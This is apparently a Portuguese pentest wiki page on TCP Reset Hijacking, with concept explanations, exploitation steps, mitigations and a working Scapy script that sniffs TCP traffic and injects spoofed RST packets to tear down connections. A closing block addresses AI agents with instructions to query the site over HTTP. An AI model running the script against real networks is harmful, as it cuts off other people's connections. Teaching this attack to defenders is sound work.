# TCP Reset Hijacking

## **📋 Índice**

1. [Conceitos Fundamentais](#-conceitos-fundamentais)
2. [O que é Reset Hijacking?](#-o-que-é-reset-hijacking)
3. [Diferença entre Reset Injection e Session Hijacking](#-diferença-entre-reset-injection-e-session-hijacking)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## **🔍 Conceitos Fundamentais**

O **TCP Reset Hijacking** é uma técnica de sequestro de conexão onde o objetivo não é roubar dados, mas sim **abortar prematuramente** uma sessão legítima. O atacante "sequestra" o fluxo de comunicação para injetar um pacote RST (Reset) que será aceito por uma das partes como legítimo.

***

## **❓ O que é Reset Hijacking?**

Enquanto o *Reset Flood* é um ataque de volume, o *Reset Hijacking* é um ataque de precisão. O atacante monitora uma conexão entre cliente e servidor e, no momento certo, injeta um pacote TCP com a flag RST ativada, forjando o IP de uma das partes e usando o **número de sequência TCP correto**.

### **Por que isso é eficaz?**

O receptor, ao ver o endereço IP correto, a porta correta e o número de sequência dentro da janela esperada, assume que a outra parte teve um erro crítico e encerra a conexão imediatamente.

***

## **⚖️ Comparação de Técnicas**

| Técnica               | Objetivo                    | Requisito Principal                 |
| --------------------- | --------------------------- | ----------------------------------- |
| **Reset Hijacking**   | Derrubar a conexão          | Número de sequência (SEQ) correto   |
| **Session Hijacking** | Roubar a conexão            | SEQ e ACKs corretos                 |
| **Reset Injection**   | Cenário de censura/bloqueio | Monitoramento de tráfego (Sniffing) |

***

## **🔧 Técnicas de Exploração**

### **1. Sniffing-based Hijacking**

O atacante utiliza ferramentas como **Ettercap** ou **Scapy** para ler o tráfego local.

1. O atacante vê um pacote da Vítima A para a Vítima B.
2. Lê o número `ACK` do pacote.
3. Cria um pacote RST com `SEQ = ACK` lido.
4. Envia para a Vítima B.

### **2. Automatização com Scapy (Python)**

```python
# Script para resetar sessão SSH/HTTP localmente
from scapy.all import *

def hijack_reset(pkt):
    if pkt.haslayer(TCP):
        # Gera o contra-ataque de reset
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack)
        send(ip/tcp, verbose=0)
        print(f"[*] Reset de conexão injetado entre {pkt[IP].src} e {pkt[IP].dst}")

sniff(filter="tcp", prn=hijack_reset)
```

***

## **🛡️ Mitigação e Prevenção**

### **1. Verificação de Janela TCP Estrita**

Sistemas operacionais modernos implementam verificações rigorosas que exigem que o número de sequência do RST esteja exatamente no valor esperado, não apenas "dentro da janela".

### **2. Criptografia (IPSec / TLS)**

Embora o ataque RST ocorra abaixo da camada de aplicação, o uso de VPNs e túneis criptografados dificulta a visualização e manipulação dos pacotes pelo atacante na rede.

### **3. Port Security e DAI**

Configurações em switches de rede para impedir o sniffing e o spoofing de IPs em redes locais.

***

> O Reset Hijacking foi historicamente muito usado para atacar sessões BGP em roteadores de backbone, podendo causar instabilidade em toda a internet.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/tcp/tcp-reset-hijacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
